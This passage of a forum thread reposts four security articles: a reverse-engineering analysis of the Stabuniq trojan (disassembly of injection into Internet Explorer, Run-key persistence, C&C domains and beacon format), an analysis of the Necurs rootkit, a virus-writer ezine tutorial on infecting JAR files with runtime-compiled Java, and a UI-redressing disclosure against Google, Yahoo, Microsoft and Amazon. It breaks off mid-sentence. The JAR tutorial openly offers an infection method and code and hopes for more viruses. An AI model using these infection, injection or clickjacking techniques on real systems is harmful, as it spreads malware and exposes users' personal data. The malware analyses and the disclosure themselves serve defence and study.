0012D8F8 778F69B8 ntdll.ZwUnmapViewOfSection 0012D8FC 779653D5 ntdll.RtlDecompressBuffer 0012D900 7645EF42 kernel32.LoadLibraryW 0012D904 7641204D RETURN to kernel32.CreateProcessW 0012D908 7644C7CB kernel32.VirtualAllocEx 0012D90C 7647959F RETURN to kernel32.WriteProcessMemory 0012D910 7649FAEB kernel32.CreateRemoteThread 0012D914 7645E868 kernel32.CloseHandle 0012D918 7645A671 kernel32.lstrcatA 0012D91C 764766BC RETURN to kernel32.lstrcatW 0012D920 7645E8A5 kernel32.CreateFileW 0012D924 7645086B kernel32.GetFileSize 0012D928 7645A5FF kernel32.lstrcpyA 0012D92C 7644910F kernel32.lstrcpyW 0012D930 76446B3F kernel32.CopyFileW 0012D934 7644B333 kernel32.SetFileAttributesW 0012D938 7645A07A kernel32.lstrlenA 0012D93C 7645BDE8 kernel32.lstrlenW 0012D940 7646BBE2 kernel32.ExitProcess 0012D944 7645C3F0 RETURN to kernel32.SetLastError 0012D948 7645CDE0 kernel32.GetLastError 0012D94C 7645D7BC kernel32.CreateEventW 0012D950 7645C2B0 kernel32.WaitForSingleObject 0012D954 7645C280 kernel32.GetTickCount 0012D958 7645FCDD kernel32.GetProcessHeap 0012D95C 76477B43 kernel32.LockFile 0012D960 77902D66 ntdll.RtlAllocateHeap 0012D964 76459BAE kernel32.ReadFile 0012D968 76446F51 kernel32.FindFirstChangeNotificationW 0012D96C 76448C9B kernel32.FindCloseChangeNotification 0012D970 764599D1 kernel32.CreateDirectoryW 0012D974 764653EE kernel32.WriteFile 0012D978 7645DCC2 RETURN to kernel32.CreateThread 0012D97C 7646BC01 kernel32.TerminateThread 0012D980 76451254 kernel32.CreateFileMappingW 0012D984 764650EA kernel32.OpenFileMappingW 0012D988 76459423 kernel32.MapViewOfFile 0012D98C 764533D6 kernel32.CreateMutexW 0012D990 7645D7D4 kernel32.CreateMutexA 0012D994 7645C266 kernel32.Sleep 0012D998 7644777D kernel32.GetProcessVersion 0012D99C 76477928 RETURN to kernel32.lstrcpynW 0012D9A0 7644C4A3 kernel32.GetNativeSystemInfo 0012D9A4 7645C3C0 kernel32.HeapFree 0012D9A8 7645EEFA kernel32.WideCharToMultiByte 0012D9AC 7644FD29 kernel32.CreateToolhelp32Snapshot 0012D9B0 764761ED kernel32.Process32First 0012D9B4 764762B5 kernel32.Process32Next 0012D9B8 764554E7 kernel32.OpenProcess 0012D9BC 7645EF35 kernel32.GetModuleFileNameW 0012D9C0 7645EF07 kernel32.MultiByteToWideChar 0012D9C4 76478BD4 RETURN to kernel32.GetThreadContext 0012D9C8 764A08C3 kernel32.SetThreadContext 0012D9CC 7645171F kernel32.ResumeThread 0012D9D0 76478BF9 kernel32.SuspendThread 0012D9D4 76452C05 kernel32.TerminateProcess 0012D9D8 7645CC94 kernel32.GetProcAddress 0012D9DC 7645DC65 kernel32.LoadLibraryA 0012D9E0 7645D8F3 kernel32.GetModuleHandleA 0012D9E4 7645C43A kernel32.VirtualAlloc 0012D9E8 76466B15 kernel32.VirtualFree 0012D9EC 76452B1D kernel32.lstrcmpiA 0012D9F0 7645F6B4 kernel32.HeapSetInformation 0012D9F4 76465321 kernel32.lstrcmpW 0012D9F8 76466BEE kernel32.SetCurrentDirectoryW 0012D9FC 7645EA61 RETURN to kernel32.CreateFileA 0012DA00 76445B82 kernel32.CreateMailslotA 0012DA04 7649D585 kernel32.GetMailslotInfo 0012DA08 7645C452 kernel32.InterlockedExchange 0012DA0C 76452C15 RETURN to kernel32.VirtualProtect 0012DA10 764712A6 kernel32.CreatePipe 0012DA14 76448DB0 kernel32.SetHandleInformation 0012DA18 7649FE7B kernel32.PeekNamedPipe 0012DA1C 7646404C kernel32.FindFirstFileW 0012DA20 76459B96 kernel32.FindNextFileW 0012DA24 76464C24 RETURN to kernel32.FindClose 0012DA28 764459BA kernel32.RemoveDirectoryW 0012DA2C 76A35728 SHELL32.SHGetFolderPathW 0012DA30 766A40FE ADVAPI32.RegCreateKeyExW 0012DA34 766A468D ADVAPI32.RegOpenKeyExW 0012DA38 766A46AD ADVAPI32.RegQueryValueExW 0012DA3C 766A469D ADVAPI32.RegCloseKey 0012DA40 766A14D6 ADVAPI32.RegSetValueExW 0012DA44 7669E15B ADVAPI32.RegNotifyChangeKeyValue 0012DA48 7669CC15 ADVAPI32.RegOpenKeyA 0012DA4C 766BA299 RETURN to ADVAPI32.RegEnumKeyA 0012DA50 766A48EF ADVAPI32.RegQueryValueExA 0012DA54 766A14B3 ADVAPI32.RegSetValueExA 0012DA58 777B3EF0 SHLWAPI.StrRChrW 0012DA5C 777DE908 SHLWAPI.StrNCatW 0012DA60 777CC57C SHLWAPI.StrCmpNA 0012DA64 777CC45B SHLWAPI.StrStrA 0012DA68 777AC5E6 SHLWAPI.StrChrA 0012DA6C 777CCD65 SHLWAPI.StrToIntA 0012DA70 75F2D5E8 WININET.InternetOpenA 0012DA74 75F3E1C6 WININET.InternetOpenUrlA 0012DA78 75F4567E WININET.InternetConnectA 0012DA7C 75F45761 WININET.HttpOpenRequestA 0012DA80 75F7525A RETURN to WININET.HttpSendRequestA 0012DA84 75F1C664 WININET.InternetCloseHandle 0012DA88 75FC03F3 WININET.InternetSetCookieA 0012DA8C 75FC03D2 RETURN to WININET.InternetGetCookieA 0012DA90 75F197DF WININET.InternetSetOptionA 0012DA94 75F1F8D8 WININET.InternetReadFile 0012DA98 7693EA11 USER32.MessageBoxA 0012DA9C 768F3F47 USER32.wsprintfA 0012DAA0 768F3834 USER32.GetLastInputInfo 0012DAA4 75D42D8B ws2_32.ntohs 0012DAA8 75D4311B ws2_32.inet_addr 0012DAAC 75D43EB8 RETURN to ws2_32.socket 0012DAB0 75D46BDD ws2_32.connect 0012DAB4 75D43918 ws2_32.closesocket 0012DAB8 75D43AB2 ws2_32.WSAStartup 0012DABC 75D43C5F ws2_32.WSACleanup 0012DAC0 77AD15BC psapi.GetModuleFileNameExA The APIs, together with the list of URLs to contact, installations paths and possible executable names are copied inside a big array of data that will later be accessed by the injected threads. Before spawning the shadow copy of IE, Stabuniq constructs a request that will be sent to the C&C server, composed like this (in my case): id=127.0.0.1&varname=User44353&comp=PC-44353&ver=Windows 7&src=32Bit&sec=0&view=OllyDbg.exe – explorer.exe – svchost.exe…&dat=page=C:\Users\User44353\Desktop\stabuniq.exe&response= &val=yvuufxrryrdrbxkvfnvtfhufkxpkukkruniyqbcvdursioct&up=eylqcosslqmpjnex at the same time every value is scrambled with a function called at 0x00408336of our uncompressed executable, the obfuscation can be easily reversed if needed. Finally the function in charge of injecting a thread into IE is called in a loop: createPostRequest(postRequest, "OK"); while (1) { if(createRemoteIEThread(&postReq) != 1) break; Sleep(6000); } Threads Analysis Stabuniq launches iexplore.exe with the CREATE_SUSPENDED flag: .text:004080B6 push 0 .text:004080B8 push 0 .text:004080BA push 4 .text:004080BC push 1 .text:004080BE push 0 .text:004080C0 push 0 .text:004080C2 push 0 .text:004080C4 mov ecx, [ebp+arg_0] .text:004080C7 add ecx, 1FBEh .text:004080CD push ecx .text:004080CE mov edx, [ebp+arg_0] .text:004080D1 call dword ptr [edx+18h] ; CreateProcessW Three different memory slots are allocated, after that everything is written in place using WriteProcessMemory(), in this order: POST request string API table Injected thread code (0x402b60) Following that the first thread is started from the main module: .text:0040821B push 0 ; lpThreadId .text:0040821D push 0 ; creation flags .text:0040821F mov ecx, [ebp+allocedThreadParam] .text:00408222 push ecx ; lpParameter .text:00408223 mov edx, [ebp+vallocedMem] .text:00408226 push edx ; start address 0x402b60 .text:00408227 push 0 ; dwStackSize .text:00408229 push 0 ; lpThreadAttributes .text:0040822B mov eax, [ebp+var_10] .text:0040822E push eax ; iexplore.exe handle .text:0040822F mov ecx, [ebp+arg_0] .text:00408232 call dword ptr [ecx+24h] ; CreateRemoteThread We can take a look into the thread code from the disassembler, the only problem we’ll face here will be the APIs because they’re all called indirectly so we’ll have to manually reconstruct each pointer. First of all LoadLibrary() is called for every DLL that will be used by the thread: .text:00402BA2 mov edx, [ebp+zero] .text:00402BA5 imul edx, 28h .text:00402BA8 mov eax, [ebp+heapPtr] .text:00402BAB lea ecx, [eax+edx+1232h] ; Dll table .text:00402BB2 push ecx .text:00402BB3 mov edx, [ebp+heapPtr] .text:00402BB6 call dword ptr [edx+14h] ; LoadLibraryW After that the process tries to create the “StabilityMutexString” mutex. Then it moves the original executable into the a new path: .text:00402C5E push 1000h .text:00402C63 push 0 .text:00402C65 push 0 .text:00402C67 push 6 .text:00402C69 mov ecx, [ebp+var_14] .text:00402C6C push ecx .text:00402C6D mov edx, [ebp+heapPtr] .text:00402C70 call dword ptr [edx+9Ch] ; MapViewOfFile Following that all the required registry entries are created. Let’s take a brief look at them. Startup Method After running an instance of stabuniq.exe (or its dropper), the original executable is removed and copied in a location picked up from the following table: \Java Quick Starter \InstallShield Update Service Scheduler \SoundMax service agent \GrooveMonitor Utility \ComPlus Applications \AcroIE Helper Module The middle directory being one of these: \Update \Bin \Uninstall \Helper \Installer and the executable name being one of these: \jqs.exe \issch.exe \smagent.exe \acroiehelper.exe \groovemonitor.exe This directory tree is created right into “Program Files” directory, using a path randomly generated from the previous list. To ensure survival after a reboot several registry entries are added, from the disassembly we see that the first created is: .text:00407576 push eax .text:00407577 lea ecx, [ebp+var_C] .text:0040757A push ecx .text:0040757B push 0 .text:0040757D push 0F003Fh .text:00407582 push 0 .text:00407584 push 0 .text:00407586 push 0 .text:00407588 mov edx, [ebp+arg_0] .text:0040758B add edx, 1AB6h .text:00407591 push edx ; "Software\Stability Software" .text:00407592 push 80000001h ; HKEY_CURRENT_USER .text:00407597 mov eax, [ebp+arg_0] .text:0040759A call dword ptr [eax+144h] ; RegCreateKeyExW That translates to the following key: HKEY_CURRENT_USER\Software\Stability Software\”Uniq” = <GUID> Where GUID is a a GUID-like id generated here: .text:00402B24 push ebp .text:00402B25 mov ebp, esp .text:00402B27 sub esp, 14h .text:00402B2A lea eax, [ebp+pguid] .text:00402B2D push eax ; pguid .text:00402B2E call ds:CoCreateGuid .text:00402B34 lea ecx, [ebp+lpString2] .text:00402B37 push ecx ; StringUuid .text:00402B38 lea edx, [ebp+pguid] .text:00402B3B push edx ; Uuid .text:00402B3C call ds:UuidToStringW .text:00402B42 mov eax, [ebp+lpString2] .text:00402B45 push eax ; lpString2 .text:00402B46 mov ecx, [ebp+lpString1] .text:00402B49 push ecx ; lpString1 .text:00402B4A call ds:lstrcpyW The GUID is used as a reference to start the main executable after adding three registry entries: .text:0040770E push eax ; Software\Microsoft\Windows\CurrentVersion\Run .text:0040770F push 80000002h .text:00407714 mov ecx, [ebp+arg_0] .text:00407717 call dword ptr [ecx+148h] ; RegOpenKeyExW .text:00407747 push eax ; .DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Run .text:00407748 push 80000003h .text:0040774D mov ecx, [ebp+arg_0] .text:00407750 call dword ptr [ecx+148h] ; RegOpenKeyExW .text:00407780 push eax ; Software\Microsoft\Windows\CurrentVersion\Run .text:00407781 push 80000001h .text:00407786 mov ecx, [ebp+arg_0] .text:00407789 call dword ptr [ecx+148h] ; RegOpenKeyExW This is the summary of all the entries added to the registry: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\”<GUID>” = “<file.exe>” HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\”<GUID>” = “<file.exe>” HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run\”<GUID>” = “<file.exe>” No other startup methods seems to be used by this trojan. Three more threads The first thread takes care of the deletion of the main executable, moves it to the new path, creates any required registry entry, then it starts another instance of Internet Explorer and injects it with its own same code. Then three more thread are created. First Thread The first thread, located at: 0×00408008 uses the following routine to keep reinjecting Internet Explorer: .text:0040802B call dword ptr [eax+0ACh] ; GetProcessVersion .text:00408031 mov [ebp+var_8], eax .text:00408034 cmp [ebp+var_8], 0 .text:00408038 jnz short loc_408071 .text:0040803A mov [ebp+var_4], offset injectedThread ... .text:00408068 mov ecx, [ebp+arg_0] .text:0040806B push ecx .text:0040806C call createRemoteIEThread .text:00408071 .text:00408071 loc_408071: ; CODE XREF: threadReinjectIE+30j .text:00408071 push 1000 .text:00408076 mov edx, [ebp+arg_0] .text:00408079 call dword ptr [edx+0A8h] ; Sleep .text:0040807F jmp short loc_40800E Then three more threads are created, each one performing a different function. Second Thread The second thread is located at this address: 0×00407643, its main function is to keep creating the registry entries used to survive a reboot. Also any modification to these registry entries is monitored: .text:004077E6 mov eax, [ebp+var_10] .text:004077E9 mov ecx, [ebp+eax*4+var_20] .text:004077ED push ecx .text:004077EE mov edx, [ebp+arg_0] .text:004077F1 call dword ptr [edx+158h] ; RegNotifyChangeKeyValue(TRUE, REG_NOTIFY_CHANGE_NAME|REG_NOTIFY_CHANGE_LAST_SET, 0x710, TRUE) .text:004077F7 mov eax, [ebp+var_10] Third Thread The third thread is located at this address: 0x00407CE3, this thread monitors the path where the original executable was started for changes and then finds a suitable place into “Program Files” to drop a copy of the same binary. .text:00407E43 push ecx .text:00407E44 push 1 .text:00407E46 lea edx, [ebp+var_21C] .text:00407E4C push edx .text:00407E4D mov eax, [ebp+arg_0] .text:00407E50 call dword ptr [eax+7Ch] ; FindFirstChangeNotificationW("\\?\StartupPath", TRUE, FILE_NOTIFY_CHANGE_FILE_NAME|DIR_NAME|ATTRIBUTES|LAST_WRITE) .text:00407E53 mov [ebp+var_10], eax .text:00407E56 .text:00407E56 loc_407E56: .text:00407E56 mov ecx, 1 .text:00407E5B test ecx, ecx .text:00407E5D jz loc_408002 .text:00407E63 push 0FFFFFFFFh .text:00407E65 mov edx, [ebp+var_10] .text:00407E68 push edx .text:00407E69 mov eax, [ebp+arg_0] .text:00407E6C call dword ptr [eax+64h] ; WaitForSingleObject(handle, WAIT_FOREVER) C&C Communication Following the creation of every thread, the main one continues by creating a Mailslot and waiting forever on it: .text:00404442 push 0 .text:00404444 push 0FFFFFFFFh .text:00404446 push 0 .text:00404448 lea ecx, [ebp+var_128] .text:0040444E push ecx .text:0040444F mov edx, [ebp+arg_0] .text:00404452 call dword ptr [edx+114h] ; CreateMailslotA(\\.\Mailslot\GUID, 0, WAIT_FOREVER, NULL) .text:00404458 mov ecx, [ebp+arg_0] Mailslots are normally used to setup a communication with a remote part. Mailslot’s name is the GUID created during the first stage of the infection, data on this slot is read just before the creation of the list of running processes: .text:00404533 push ecx .text:00404534 lea edx, [ebp+var_4] .text:00404537 push edx .text:00404538 mov eax, [ebp+var_1C] .text:0040453B push eax .text:0040453C mov ecx, [ebp+var_10] .text:0040453F mov edx, [ecx] .text:00404541 push edx .text:00404542 mov eax, [ebp+arg_0] .text:00404545 mov ecx, [eax+1F8h] .text:0040454B push ecx .text:0040454C mov edx, [ebp+arg_0] .text:0040454F call dword ptr [edx+78h] ; ReadFile(hMailSlot, Buffer, size, ptr, NULL) .text:00404552 push 0 .text:00404554 lea eax, [ebp+var_34] .text:00404557 push eax .text:00404558 lea ecx, [ebp+var_1C] .text:0040455B push ecx .text:0040455C push 0 .text:0040455E mov edx, [ebp+arg_0] .text:00404561 mov eax, [edx+1F8h] .text:00404567 push eax .text:00404568 mov ecx, [ebp+arg_0] .text:0040456B call dword ptr [ecx+118h] ; GetMailSlotInfo() Right after the binary starts communicating with a couple of hardcoded URLs that, most probably, are the C&C servers: .data:0040E47C dd offset aSovereutilize ; "sovereutilizeignty.com" .data:0040E480 dd offset aBenhomelandefi ; "benhomelandefit.com" We have been unable to find only two URLs: sovereutilizeignty.com benhomelandefit.com The page used to process the requests is the same for both domains: /rssnews.php We can easily inspect the request: POST request created by Stabuniq That’s created here: .text:00404267 push edx .text:00404268 mov eax, [ebp+arg_18] .text:0040426B add eax, 0E64h .text:00404270 push eax .text:00404271 mov ecx, [ebp+arg_0] .text:00404274 push ecx .text:00404275 mov edx, [ebp+arg_18] .text:00404278 call dword ptr [edx+190h] ; HttpOpenRequestA(handle, "POST", "/rssnews.php") The response is then parsed, Stabuniq looks for a cookie: .text:00406053 call dword ptr [eax+1A0h] ; InternetGetCookieA("http://sovere.../rssnews.php", "response=") .text:00406059 cmp [ebp+var_C], 1 .text:0040605D ja short loc_406066 .text:0040605F xor eax, eax ... .text:0040609B push eax .text:0040609C mov ecx, [ebp+var_8] .text:0040609F push ecx .text:004060A0 mov edx, [ebp+arg_4] .text:004060A3 add edx, 0E7Dh .text:004060A9 push edx .text:004060AA mov eax, [ebp+arg_0] .text:004060AD push eax .text:004060AE mov ecx, [ebp+arg_4] .text:004060B1 call dword ptr [ecx+1A0h] ; InternetGetCookieA("...", "response=") Here the trojan is checking for the presence of a cookie whose name is response=, the content is parsed and it is used to control the trojan’s behavior. During our analysis the domains used were already sinkholed, for this reason we can not reliably confirm what type of interaction the malware has over the infected system. It’s interesting to note however, that after processing the cookie information, details on user’s activity are acquired and sent to the C&C: .text:0040726B push ecx .text:0040726C mov edx, [ebp+arg_4] .text:0040726F call dword ptr [edx+1B4h] ; GetLastInputInfo .text:00407275 mov eax, [ebp+arg_4] .text:00407278 call dword ptr [eax+68h] ; GetTickCount .text:0040727B mov [ebp+ticks], eax .text:0040727E mov eax, [ebp+ticks] .text:00407281 sub eax, [ebp+var_4] .text:00407284 xor edx, edx .text:00407286 mov ecx, 1000 ; Convert to seconds .text:0040728B div ecx .text:0040728D mov [ebp+var_10], eax .text:00407290 mov edx, [ebp+var_10] .text:00407293 push edx .text:00407294 mov eax, [ebp+arg_4] .text:00407297 add eax, 260h .text:0040729C push eax .text:0040729D mov ecx, [ebp+arg_0] .text:004072A0 push ecx .text:004072A1 mov edx, [ebp+arg_4] .text:004072A4 call dword ptr [edx+1B0h] ; wsprintfA("%d") then the process list is updated and sent again to the C&C server. In our sample there are a few more strings, unreferenced, that might be an indication of stripped-out code used for different purposes and that might be used from future or different versions of Stabuniq: Store key in cache? (y/n) sshtest123 You gonna die like a bitch in the wolfs house. password: PortForwardings= -load muhaha -P Removal Instructions Removing this version of Stabuniq is quite easy: Start your task manager and kill any iexplore.exe process Open the windows registry, remove startup the entries mentioned above Reboot Remove the executable pointed by the startup strings in the registry Usually running an updated AV is a good option too… Just in case. Conclusions Stabuniq seems to be in a phase of information gathering, nevertheless it might become a real threat as soon as the author decides to change the behaviour of this trojan, if you have any update or just want to share something with us, please use the comment section below. Written by: Quequero & Evilcry Sursa: http://quequero.org/2013/01/stabuniq-financial-infostealer-trojan-analysis/
-
Necurs rootkit under microscope Okay, we already know about Necurs, just remind it interesting features: Highly difficult in terms of removal from infected system; Targeted to blocking drivers around 30 AV products [and 130 drivers in total]; Also targeted to x64 platform [has x64 version of driver]; Driver has obfuscated relocatable code; Provides for itself the earliest start in the system [before all AV or Anti-malware drivers and system drivers]; Has it's own PE-loader with features of module relocation and IAT tuning for creation a complete copy of working driver; Three types of black list: checking version info, special code signatures and drivers names. I already wrote about detection of this rootkit by various anti-rootkits here Security/malware blog: Necurs rootkit detection. In that post also listed symptoms of infection and various kernel anomalies. Today we'll talk about Necurs more detail. First of all - black list and how it's implemented. According to list, which is subject to examination by the rootkit, it includes about 30 various AV products (checking via version info), and 130 various drivers (checking via image names comparison). Full list of vendors avalaible here - Necurs targeted to prevent work products of these firms: Agnitum Ltd ALWIL S - Pastebin.com and list of drivers here - Necurs targeted to prevent work the following drivers: kprocesshacker.sys Vb - Pastebin.com. Before you start the static analysis you should retrieve decrypted version of driver. In normal encrypted state it looks like this: To be convinced that rootkit is active, you need to check presence of NtSecureSys device object. On the next step need to dump it decrypted body from memory with help of anti-rootkit or windbg. Ok, let's do it with windbg. Necurs sets some hooks to SSDT and this is one of the start point for dumping it image from memory. Next we can dump it from memory. Instead !pool command you can use search for MZ header in reverse order for retrieving start of decrypted copy: s 822bbe2b L-10000 'M' 'Z' Decrypted driver: Start point of black list checks - LoadImageNotifyRoutine function. Detailed info about this feature http://msdn.microsoft.com/en-us/library/windows/hardware/ff559957(v=vs.85).aspx. This callback is called every time when new driver [or user mode image] was loaded in system [or in process]. This function contains all types of blacklist checks. For example, on this screenshot below is represented check via vendors names in version info. If the driver is blacklisted, Necurs patches it entry point with two instructions, so DriverEntry after that returns STATUS_UNSUCCESSFULL and IO manager not load this driver. Rootkit also contains two special white lists of drivers that not included into black list. Collection of information into white list rootkit performs on stage of initialization. Rootkit performs scanning of \drivers directory and look for drivers not included into blacklist. Also it walks by services registry key and adds drivers into these lists. To avoid misunderstanding it adds loaders into these lists. Ways of drivers entry point modifications looks like: Necurs also blocks registry operations for own service key. So, any attempt to access to key fails. It possible with help of http://msdn.microsoft.com/ru-ru/library/windows/hardware/ff545879(v=vs.85).aspx Similar situation with file system. Necurs attaches his device object to volume and tracks all FS operation, so rootkit body on volume is unaccessible. Another interesting feature of Necurs - possibility of start before ALL drivers in the system [including boot bus extender drivers]. But on clean system we have another picture: Ok, all right. The conclusion is obvious: Necurs adds itself into "Boot Bus Extender" group and modifies priority ("Tag") of all drivers from this group (increases their Tag numbers by one, +1). Detailed about priority of drivers load, look CurrentControlSet\Services Subkey Entries Summary: Necurs also registers callback for tracking operations about handle creation for process with help of ObRegisterCallback. API - http://msdn.microsoft.com/en-us/library/windows/hardware/ff558692(v=vs.85).aspx From this callback rootkit performs modification of original final desired access for the handle in special cases of handle opening. Mission of NtOpenProcessHook consists in blocking open handle operation for process which rootkit considers as trusted. According to Microsoft Malware Protection Center (MMPC) Necurs found on more than 83,000 machines and Microsoft report calls rootkit a "prevalent threat". This is not surprising after disclosure of the threat, it becomes clear why this is so. Necurs Rootkit Spreading Quickly, Microsoft Warns - Dark Reading Unexpected reboot: Necurs - Microsoft Malware Protection Center - Site Home - TechNet Blogs Fingerprints: x32 version: SHA256: 742a3c8c0a3601af29daffb966e947334d4f20501e5568b9c9fbf4c3526b4b84 SHA1: 30f63b8cae41a97456a82131c4577a2020697b89 MD5: 0907292986e05a8752bc1863556d229e File size: 59776 bytes x64 version: SHA256: b3fea8183670ecf6150325f05aed28dfa27d7c6d2c1007808661f97c27fd7e1e SHA1: d69b06801a8378e8c9ac8b369cb9e14ef8c8d479 MD5: 39b447e293979ac7259d4d9a2711c9a0 File size: 75720 bytes Sursa: Security/malware blog: Necurs rootkit under microscope
-
Infecting JAR-Files using the JavaCompiler Class by R3s1stanc3 ########################################################## #### Infecting JAR-Files using the JavaCompiler Class #### ####################################### by R3s1stanc3 #### ########################################################## ######### # index # ######### 1. Intro 2. How JAR files work 3. The JavaCompiler class 4. How the infection works 5. Conclusion 6. References 1. Intro The last codes I wrote were mostly in Java and I have a few reasons for this: If you don't use very specific functions for Windows (e.g. trying to print a file) a code can be executed on every PC having Java installed no matter if it's Windows, Linux, Mac; 32-bits, 64-bits. The other reason is that I only know two other viruses (not speaking of exploits or drive-bys) written in Java out there: StrangeBrew (1998; CodeBreakers #4) [1] and Beanhive (1999; CodeBreakers #5) [2] both written by Landing Camel. These codes infected java classfiles by inserting their own bytecode in another classfile. So I was playing around with the JavaCompiler class [3], trying to write a polymorphic code and I wasn't able to get it running because you need to write the source code in a string and reassemble it every time containing its own code again and every time I got another error while compiling. Maybe I will get it running someday. But that gave me the idea of a new way to infect JAR files. 2. How JAR files work A JAR file (Java ARchive) is a simple zip file that includes the compiled class files and a folder called "META-INF" including the MANIFEST.MF that tells which class file is executed first. 3. The JavaCompiler class The JavaCompiler class is a Java class, that can compile Java sourcecode from a textfile or a string in runtime. It is even possible to run the compiled code in the memory without saving the compiled file on the disk. 4. How the infection works To find victim files, the code simply lists all files ending with ".jar" in the current directory in a string array and runs a foreach loop. When the virus is executed, it extacts itself in one temporary directory and the victim file in another directory. Then it reads the victim's main class from the manifesto. Example of an uninfected MANIFESTO.MF: Manifest-Version: 1.0 Class-Path: Main-Class: someClassName "someClassName" is read from the manifesto of the file we want to infect. That mainclass will be replaced by a new class "Infect.class" later, that is compiled by the virus. The code we compile in runtime: public class Infect { public static void main ( String args [ ] ) { javax . swing . JOptionPane . showMessageDialog ( null, \"Hi this is Java Infect0r\nand welcome to Valhalla #3!\" ) ; someClassName a = new someClassName ( ); a . main ( args ) CompileSourceInMemory b = new CompileSourceInMemory ( ) ; try { b . main ( args ) ; } catch ( Exception e ) { } } } // create a temporary class with the name of the main class to prevent errors while compiling class someClassName { public static void main ( String [ ] args ) { System . out . println ( ) ; } } This class executes the original mainclass ("someClassName"). After executing the original file, it executes the virus code to infect other files ("CompileSourceInMemory"). The second class is only used to prevent errors while compiling (the java compiler throws an error if a class is used but the file doesn't exist in the current directory). When the new file is compiled, the virus copies its own class files and the new compiled file in the temp folder of the host file, modifies the MANIFESTO.MF so that the Infect.class is executed first and zips the JAR file again. MANIFESTO.MF after being infected: Manifest-Version: 1.0 Class-Path: Main-Class: Infect To prevent a file from beeing infected twice, I add a text file with a specific name to the JAR archive and if this file exists, a file won't be infected. We need the JavaCompiler to compile the new class file (Infect.class), because every JAR file has another mainclass so we need to change the class ("someClassName" in this case) we want to execute every time. 5. Conclusion The JavaCompiler class is great to write viruses. I will try to get some polymorphic code running for the next ezine. A similar technique was used by AlcoPaul in polysharp/jabir [4] or Vitamin C [5] (both released in DarkCodez #3). He used the posibility to compile code on the fly in C# and used a changing encryption and varchanging for the polymorphism. In his project the sourcecode is stored in a string and gets rebuilt every time. So far from now and I hope I gave you some ideas and maybe we will see some more Java viruses soon. 6. References [1] StrangeBrew http://virus.wikidot.com/strangebrew [2] Beanhive http://virus.wikidot.com/beanhive [3] JavaCompiler http://docs.oracle.com/javase/6/docs/api/javax/tools/JavaCompiler.html [4] polysharp http://ezine.vxnetw0rk.ws/mag3/User/AlcoPaul/polycsharp.html [5] Vitamin C http://ezine.vxnetw0rk.ws/mag3/User/AlcoPaul/vitaminc.html R3s1stanc3 [vxnetw0rk] December, 2012 r3s1stanc3@tormail.org - r3s1stanc3.virii.lu Sursa: http://spth.virii.lu/v3/vessel/display/articles/R3s1stanc3/javainfector_article.txt
-
UI Redressing Mayhem: Identification Attacks and UI Redressing on Google Chrome Today I'm going to disclose a series of UI Redressing issues that could be exploited in order to extract information that may help an attacker to identify a victim-user whenever anonymity is a critical requirement. Moreover, a new extraction method, which has been successfully applied against Google Chrome, will be presented. Google's web browser disallows cross-origin drag&drop and what I'm introducing here is a completely different approach to achieve the extraction of potentially sensitive data. Identification Attacks I found that several world-renowned web applications lack protection of web resources from UI Redressing attacks, thus revealing data that can be abused to disclose a user's identity. An identification attack could be successfully performed by exploiting a UI Redressing flaw affecting web resources that include, for example, the name or the e-mail address of the victim. A series of vulnerabilities are presented below in order to exemplify some of these attacks. The first issue affects a Google's web application: an authenticated Google user can be attacked by abusing a UI Redressing vulnerability related to the support.google.com domain. As shown in Figure 1, no X-Frame-Options header is adopted, thus allowing the cross-domain extraction of personal data such as: Victim's e-mail address; Victim's first and last name; Victim's profile picture URL. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Figure 1 - Google Support vulnerable to UI redressing attacks.[/TD] [/TR] [/TABLE] A Proof of Concept exploit can be downloaded here. The following is a video demonstrating the attack: Similar vulnerabilities have been found on other popular web applications. The following is a list of identified vulnerable web resources, exposing user's data: Microsoft Profile (First name, last name, e-mail address, etc - Figure 2) https://profile.live.com/home/Services/?view=manage&productid=connectedtoprofile [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Figure 2 - Microsoft Profile web resource vulnerable to UI Redressing attacks.[/TD] [/TR] [/TABLE] Yahoo! (e-mail address, first name, birth date, sex, etc - Figure 3): http://profile.yahoo.com/y/edit/ [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Figure 3 - Yahoo! web resource vulnerable to UI Redressing attacks.[/TD] [/TR] [/TABLE] Beyond the iframe-to-iframe extraction method The Google Chrome web browser seems to have defeated any extraction methods, denying the use of the view-source handler and disallowing cross-origin drag&drop. Despite these adverse conditions, I identified some attack scenarios where a UI Redressing issue could be still performed in order to extract sensitive data. Once again, the method is extremely simple. Instead of a cross-origin drag&drop, the victim is tricked to perform a same-origin action, where the dragged content belongs to a vulnerable web page of the targeted application and the "dropper" is a form (text area, input text field, etc.) located on the same domain. Using a site's functionality that allows publishing externally-facing content, it is still possible to extract information. Under these circumstances, Chrome will not reasonably deny the same-origin drag&drop, thus inducing the victim to involuntary publish sensitive data. As a matter of fact, the attacker is exploiting a subsequent clickjacking vulnerability on the same domain, which causes the publication of the personal information. I refer to this kind of attack chain as a "bridge" that allows the attacker to move sensitive data from being private to public, while remaining on the same domain. Then, the attacker can simply access the (now) public information to obtain the extracted data. It should be outlined that the technique requires two vulnerabilities: a web resources that is not protected by the X-Frame-Options (or uses a weak frame-busting code) and a site's functionality that is affected by clickjacking. The following list summarizes a series of functionalities that could be abused to extract the sensitive data: Forum's post mechanism; "comment this item" functionalities; Public profile information updating function (or any "update function" that involves public available data - e.g. administrative functions that cause the updating of the web site's content); Messaging functionalities (e.g. from the victim to the attacker); The proposed method has been successfully applied against Google Chrome version 23.0.1271.97, targeting the Amazon web application. Amazon exposes a series of web resources that include user's data - such as the name, e-mail address, mobile number and "address book" details - that are not protected with both X-Frame-Options header or any frame-busting mechanism. As an example, the following vulnerable URL includes Amazon's user first name, last name and e-mail address: https://www.amazon.com/gp/css/account/info/view.html?ie=UTF8&ref_=ya_20 A second issue on the comment function - our "bridge" - can be abused to publish the user's information as a comment for an Amazon item (e.g. a book), previously known by the attacker, and whose comments are "monitored". The following steps summarize the exploitation phases: The exploit frames both the vulnerable URL and the comment form of a attacker-chosen Amazon's book; The victim is triggered to drag his data and drop the information to the framed comment form; A clickjacking attack is 